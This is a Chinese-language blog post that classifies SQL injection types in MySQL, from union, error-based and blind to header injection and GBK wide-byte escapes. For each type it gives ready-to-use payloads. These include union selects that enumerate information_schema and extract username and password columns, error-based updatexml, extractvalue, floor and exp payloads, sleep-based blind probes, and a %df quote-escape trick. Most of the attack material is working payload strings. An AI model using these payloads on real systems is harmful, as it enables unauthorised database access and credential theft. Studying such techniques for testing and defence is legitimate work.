SQL注入种类

Posted by  "star" on Sunday, February 3, 2019

TOC

一、注入点的种类

1、基于注入点值的属性

数字型
字符型

2、基于注入点的位置

GET/POST
COOKIE
HEAD型

3、基于注入的程度和顺序

一阶注入
二阶注入
注:一阶注入指注入的语句直接对web应用产生了结果,二阶注入是间接产生结果,例如存储型xss(首先将恶意输入保存在数据库中,第二次检索存储在数据库中的恶意输入,构造SQL语句),辅助别的漏洞来利用。

4、从服务器返回的响应

1、有回显
联合注入(可以使用union的情况下的注入。)
堆查询注入(可以同时执行多条语句的执行时的注入。)
报错注入
2、无回显
布尔盲注
延时盲注(即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。)

二、几种类型的举例

要测试注入,首先要明白各个数据库的注释 ##mysql注释: 单行注释,#、–空格后面直接加内容 多行注释,/**/中间可以跨

1、数字型

?id=1’ and 1=1#
?id=1’ and 1=2#
?id=1’ and 1=1--%20
?id=1’ and 1=2--%20
以上是判断是否存在注入
?id=1’ order by i--%20判断列数 avatar > ?id=1’ union select 1,2,3,4,5 --%20看回显位
> ?id=1’ union select @@version,database(),datadir--%20

avatar 查出数据库版本、当前数据库、当前数据库的地址 以下是mysql的系统函数: avatar

要注入出数据库中的数据,就不得不提到mysql的系统表 information_schema

在**INFORMATION_SCHEMA**中,有些只读表,它们实际上是视图,而不是基本表,所以无法看到与之相关的任何文件。  
**SCHEMATA**:提供了当前mysql实例中所有数据库的信息,show databases的结果取之此表。  
**TABLES**:提供了关于数据库中的表的信息(包括视图),详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,show tables from schemaname的结果取之此表。  
**COLUMNS**:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,show columns from schemaname.tablename的结果取之此表。  
**STATISTICS**:提供了关于表索引的信息,show index from schemaname.tablename的结果取之此表。  
**USER_PRIVILEGES**(用户权限):给出了关于全程权限的信息,该信息源自mysql.user授权表,是非标准表。
**SCHEMA_PRIVILEGES**(方案权限):给出了关于方案(数据库)权限的信息,该信息来自mysql.db授权表,是非标准表。 
**TABLE_PRIVILEGES**(表权限):给出了关于表权限的信息,该信息源自mysql.tables_priv授权表,是非标准表。  
**COLUMN_PRIVILEGES**(列权限):给出了关于列权限的信息,该信息源自mysql.columns_priv授权表,是非标准表。  
**CHARACTER_SETS**(字符集):提供了mysql实例可用字符集的信息,SHOW CHARACTER SET结果集取之此表。 
**COLLATIONS**:提供了关于各字符集的对照信息。  
**COLLATION_CHARACTER_SET_APPLICABILITY**:指明了可用于校对的字符集,这些列等效于SHOW COLLATION的前两个显示字段。  
**TABLE_CONSTRAINTS**:描述了存在约束的表,以及表的约束类型。  
**KEY_COLUMN_USAGE**:描述了具有约束的键列。  
**ROUTINES**:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES表不包含自定义函数(UDF),名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。  
**VIEWS**:给出了关于数据库中的视图的信息,需要有show views权限,否则无法查看视图信息。 
**TRIGGERS**:提供了关于触发程序的信息,必须有super权限才能查看该表。

数据库也可以这样查询出来:
> ?id=1’ and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1--%20逐个查出数据库,也可以group_concat(schema_name)一锅端

注入出当前数据库之后就是查表(table):
?id=1’ and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=数据库名16进制 limit 0,1--%20

如法炮制查列:
?id=1’ and 1=2 union select 1,column_name,3 from information_schema.columns where table_name=表名16进制 limit 0,1--%20

表、列都出来了就爆字段了:
?id=1’ and 1=2 union select 1,2,username from 库名.表名 limit 0,1--%20

2、字符型

注意闭合字符后面的单/双引号
?id=1’ union select username,passwd from 库名.表名 limit 0,1 #
?id=1” union select username,passwd from 库名.表名 limit 0,1 #

报错涉及到如下几个函数:
updatexml() 报错 extractvalue() 报错
floor()、count(*)、random()报错
name_const() 报错
exp()函数

(1)UPDATEXML(XML_document, XPath_string, new_value) 限制了最大长度为32 select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) 替换select user部分的语句
(2)EXTRACTVALUE(XML_document, XPath_string) 限制了最大长度为32 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
(3)floor()、count()、random()报错 公式:username=admin’ and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1’ = ‘1
(4)name_const() 低版本,数据重复报错 name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。 select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x avatar (5)、exp()函数
mysql>5.5.5
exp(x):计算e的x次方
Payload: and (EXP(~(select * from(select version())a)))
Exp()超过710会产生溢出。
将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。

3、盲注

(1)、true/false
页面显示就2种情况,正确或错误
length()
substr()
ascii()
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23 limit

(2)、基于时间的 根据时间线来判断,涉及到的函数: Sleep(int time),执行将程序(进程)挂起一段时间,毫秒; if(expr1,ecpr2,expr3)判断语句; and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23 采用二分法逐个字母猜解 cookie、referer头、user-agent头: avatar 注入点变了,抓包注入,方法和上述相似

5、宽字节: gbk 一个汉字2个字节 utf-8 一个汉字3个字节 mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围) 如: ?id=1 %df’—>?id=1 %df’—>?id=1%df%5c’—->?id=1字’ 单引号就逃逸了出来 根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以 把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。 参考:https://www.cnblogs.com/lcamry/articles/5625276.html

「真诚赞赏,手留余香」

Star's Blog

真诚赞赏,手留余香

使用微信扫描二维码完成支付